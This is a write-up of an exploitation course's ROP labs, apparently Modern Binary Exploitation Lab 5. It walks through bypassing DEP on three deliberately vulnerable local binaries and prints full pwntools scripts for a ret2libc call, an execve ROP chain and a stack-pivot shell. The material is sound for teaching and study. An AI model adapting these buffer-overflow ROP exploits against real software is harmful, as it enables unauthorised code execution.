This lab focused on using ROP to bypass DEP on 3 different executables. The first two were simply to learn the techniques (a gets buffer overflow), and the last was tying the concepts together along with stack pivots to execute a ROP chain and pop a shell. Again all the programs were executed on my local machine.

NOTES:

Data Execution Prevention

  • An exploit mitigation technique used to ensure that only code segments are ever marked as executable
  • Meant to mitigate code injection / shellcode payloads
  • Also known as DEP, NX, XN, XD,W^X
  • No segment of memory should ever be Writable and Executable at the same time, ‘W^X’

Common data segments: Stack, Heap, .bss, .ro, .data

Common code segments: .text, .plt

ROP (Return Oriented Programming):

A technique in exploitation to reuse existing code gadgets in a target binary as a method to bypass DEP Gadget:

  • A sequence of meaningful instructions typically followed by a return instruction
  • ROP CHAIN: Usually multiple gadgets are chained together to compute malicious actions like shellcode does

ROP Techniques

Stack Pivot (Chaining calls) Return to libC (RET2Libc)

Tools

PEDA

searchmem: find raw bytes in an executing program, ropsearch:find rop gadgets (only kind of useful)

ropgadget

link This tool was super useful to find gadgets to use in my ROP chain. It saved a ton of time versus trying to search memory for specific instructions.

LAB5C

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector -o lab5C lab5C.c */

char global_str[128];

/* reads a string, copies it to a global */
void copytoglobal()
{
    char buffer[128] = {0};
    gets(buffer);
    memcpy(global_str, buffer, 128);
}

int main()
{
    char buffer[128] = {0};

    printf("I included libc for you...\n"\
           "Can you ROP to system()?\n");

    copytoglobal();

    return EXIT_SUCCESS;
}

This challenege was to help familiarize myself with ret2libc, and was pretty easy. Below is a nice picture from the MBE slides on building the stack for a ret2libc exploit.

Objective:

Need address of system: 0xf7fd6000 + 0x3d200 = 0xf7e13200

1
2
3
4
5
6
7
8
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   254: 00129640   102 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   652: 0003d200    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1510: 0003d200    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
$ ldd lab5C                                             
	linux-gate.so.1 (0xf7fd4000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd6000)
	/lib/ld-linux.so.2 (0xf7fd6000)

Find offset for overflow: Buffer:

[-------------------------------------code-------------------------------------]
   0x804868d <copytoglobal+32>:	rep stos DWORD PTR es:[edi],eax
   0x804868f <copytoglobal+34>:	lea    eax,[ebp-0x98]
   0x8048695 <copytoglobal+40>:	mov    DWORD PTR [esp],eax
=> 0x8048698 <copytoglobal+43>:	call   0x8048530 <gets@plt>
   0x804869d <copytoglobal+48>:	mov    edx,0x804a060
   0x80486a2 <copytoglobal+53>:	lea    ebx,[ebp-0x98]
   0x80486a8 <copytoglobal+59>:	mov    eax,0x20
   0x80486ad <copytoglobal+64>:	mov    edi,edx
Guessed arguments:
arg[0]: 0xffffcf20 --> 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffcf10 --> 0xffffcf20 --> 0x0 

Return:

[-------------------------------------code-------------------------------------]
   0x80486bc <copytoglobal+79>:	pop    esi
   0x80486bd <copytoglobal+80>:	pop    edi
   0x80486be <copytoglobal+81>:	pop    ebp
=> 0x80486bf <copytoglobal+82>:	ret    
   0x80486c0 <main>:	push   ebp
   0x80486c1 <main+1>:	mov    ebp,esp
   0x80486c3 <main+3>:	push   edi
   0x80486c4 <main+4>:	push   ebx
[------------------------------------stack-------------------------------------]
0000| 0xffffcfbc --> 0x80486f3 (<main+51>:	mov    eax,0x0)

Offset: return - buffer = 0x9c = 156

The last step is to setup the string for the input to system(), and add it into an environment variable like I did in lab4.

The final script below, only catting the pass, although a shell could have been created as well.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import os

context(arch='i386', os='linux',endian='little', word_size=32)


#input
off = 156
sys_addr = p32(0xf7e13200) #address of system
ret_addr = p32(0xdeadbeef) #some return address

#setup string 
env = "string"
os.environ[env] = "cat .pass"

#string addr
p = process(['./getenvaddr',env,'./lab4B'])
str_addr =  p32(int(p.recvall().split()[-1], 16) - 5)#off by 5
p.close()


payload = 'A'*off + sys_addr+ret_addr+str_addr


#ret2libc!
p = process( './lab5C')
p.sendline(payload)
print p.recvall()

And the corresponding output:

lab5B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector --static -o lab5B lab5B.c */

int main()
{

    char buffer[128] = {0};

    printf("Insert ROP chain here:\n");
    gets(buffer);

    return EXIT_SUCCESS;
}

Unfortunately this lab does not conveniently include libc:

1
2
3
4
5
$ objdump -R lab5B                                                                               
lab5B:     file format elf32-i386

objdump: lab5B: not a dynamic object
objdump: lab5B: Invalid operation

This means I need to build a rop chain in the program! First to find the overflow: Offset: Ret(0xffffd05c) - Buffer(0xffffcfd0) = 0x8c = 140

Build ROP chain and find gadgets! ropgadet finds the gadgets I need: Output the ropgadget into a file and grep for what I need

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#setup ebx with ptr to /bin/bash
0x080481c9 : pop ebx ; ret
#setup eax with 0
0x080bbf26 : pop eaxsc ; ret
#clear edx
0x0806ec5a : pop edx ; ret
#clear ecx
0x080e55ad : pop ecx ; ret
#syscall
0x08049401 : int 0x80

The final script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
import os

context(arch='i386', os='linux',endian='little', word_size=32)


#setup string 
env = "string"
os.environ[env] = "/bin/bash"

#string addr
p = process(['./getenvaddr',env,'./lab5B'])
str_addr =  p32(int(p.recvall().split()[-1], 16) - 5)#off by 5
p.close()


#input
off = 140

#chain
#//https://www.exploit-db.com/shellcodes/40131

#setup ebx with ptr to /bin/bash
#0x080481c9 : pop ebx ; ret
chain = p32(0x080481c9)
chain += str_addr

#setup eax with 11
#0x080bbf26 : pop eax ; ret
chain += p32(0x080bbf26)
chain += p32(11)

#clear edx
#0x0806ec5a : pop edx ; ret
chain +=  p32(0x0806ec5a)
chain += p32(0)

#clear ecx
#0x080e55ad : pop ecx ; ret
chain +=  p32(0x080e55ad)
chain += p32(0)

#syscall
#0x08049401 : int 0x80
chain += p32(0x08049401)

payload = 'A'*off + chain 

#gdb process script
script = "\
b *main+69 \n\
"

#ROP!
p = process( './lab5B')
#gdb.attach(p, script)
p.sendline(payload)
p.interactive()

The final output:

Lab5A

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"

#define STORAGE_SIZE 100

/* gcc --static -o lab5A lab5A.c */

/* get a number from the user and store it */
int store_number(unsigned int * data)
{
    unsigned int input = 0;
    int index = 0;

    /* get number to store */
    printf(" Number: ");
    input = get_unum();

    /* get index to store at */
    printf(" Index: ");
    index = (int)get_unum();

    /* make sure the slot is not reserved */
    if(index % 3 == 0 || index > STORAGE_SIZE || (input >> 24) == 0xb7)
    {
        printf(" *** ERROR! ***\n");
        printf("   This index is reserved for doom!\n");
        printf(" *** ERROR! ***\n");

        return 1;
    }

    /* save the number to data storage */
    data[index] = input;

    return 0;
}

/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
    int index = 0;

    /* get index to read from */
    printf(" Index: ");
    index = (int)get_unum();

    printf(" Number at data[%d] is %u\n", index, data[index]);

    return 0;
}

int main(int argc, char * argv[], char * envp[])
{
    int res = 0;
    char cmd[20] = {0};
    unsigned int data[STORAGE_SIZE] = {0};

    /* doom doesn't like enviroment variables */
    clear_argv(argv);
    clear_envp(envp);

    printf("----------------------------------------------------\n"\
           "  Welcome to doom's crappy number storage service!  \n"\
           "          Version 2.0 - With more security!         \n"\
           "----------------------------------------------------\n"\
           " Commands:                                          \n"\
           "    store - store a number into the data storage    \n"\
           "    read  - read a number from the data storage     \n"\
           "    quit  - exit the program                        \n"\
           "----------------------------------------------------\n"\
           "   doom has reserved some storage for himself :>    \n"\
           "----------------------------------------------------\n"\
           "\n");


    /* command handler loop */
    while(1)
    {
        /* setup for this loop iteration */
        printf("Input command: ");
        res = 1;

        /* read user input, trim newline */
        fgets(cmd, sizeof(cmd), stdin);
        cmd[strlen(cmd)-1] = '\0';

        /* select specified user command */
        if(!strncmp(cmd, "store", 5))
            res = store_number(data);
        else if(!strncmp(cmd, "read", 4))
            res = read_number(data);
        else if(!strncmp(cmd, "quit", 4))
            break;

        /* print the result of our command */
        if(res)
            printf(" Failed to do %s command\n", cmd);
        else
            printf(" Completed %s command successfully\n", cmd);

        memset(cmd, 0, sizeof(cmd));
    }

    return EXIT_SUCCESS;
}

So this last challenge was designed to practice stack pivoting with ROP. This requires alot of creativity and thinking, since you can only use code already present in memory. This challenge is also very similar to lab3A

Except this time, on line 22 the index is cast to an int, and line 25, the index is checked to make sure it is less than the storage size! The store command allows me to store only within the bounds of data. Of course argv and envp are cleared again so I can’t store my string in the environment this time.

However, if I store at a negative index, I can overwrite the return address from store_number, and gain control of the stack! I need to start from index -11. Buffer - Return = 0xffffce98 - 0xffffce6c = 0x2c = 44 Index = 44/4 = -11 (oxb)

After that I only needed to find the right string of gadgets to chain together to execute my shellcode and pop a shell. The gadgets are included below and I found them using the ropgadget tool.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import os

context(arch='i386', os='linux',endian='little', word_size=32)


#chain
writes = [] #array of tuples
#(number, index)

#GOAL:
##setup ebx with ptr to /bin/bash 
## 0x68732f2f
## 0x6e69622f
## 0
##clear ecx 
##clear edx
##setup eax with 11

#setup /bin/bash string
writes.append((0x68732f2f,26)) 
writes.append((0x6e69622f,25)) 
addr = 0xffffcfcc #25 

#start rop 
#clear edx
#0x0806f3aa : pop edx ; ret
writes.append((0x0806f3aa,5)) 

#skip 6

#NOP
#0x08054c30 : xor eax, eax ; ret
writes.append((0x08054c30,7)) 

#clear ecx
#0x080e6255 : pop ecx ; ret
writes.append((0x080e6255,8)) 

#skip 9

#setup ebx
#0x08055451 :  pop ebx ; pop esi ; ret
writes.append((0x08055451,10))
writes.append((addr,11))

#skip 12

#13 set 11 in edx
#0x080695a5 : pop edx ; xor eax, eax ; pop edi ; ret
writes.append((0x080695a5,13))
writes.append((11,14))

#skip 15

#eax = 11
#0x080aa04c : xchg eax, edx ; ret
writes.append((0x080aa04c,16))

#syscall
#0x08048eaa : int 0x80
writes.append((0x08048eaa,17))

#overflow to beginning of rop
#0x0804d62e : add esp, 0x2c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
writes.append((0x0804d62e, -11))

#overflow and jump to rop!
#context.log_level = 'debug'
p = process('./lab5A')

#gdb process
script = "\
b *store_number+181\n\
"

#attach gdb
#gdb.attach(p, script)

#setup shellcode
for w in writes:
        p.sendline("store")
        p.sendline(str(w[0])) #number
        p.sendline(str(w[1])) #index

#should have shell!
p.interactive()

And a shell is popped and the password found!!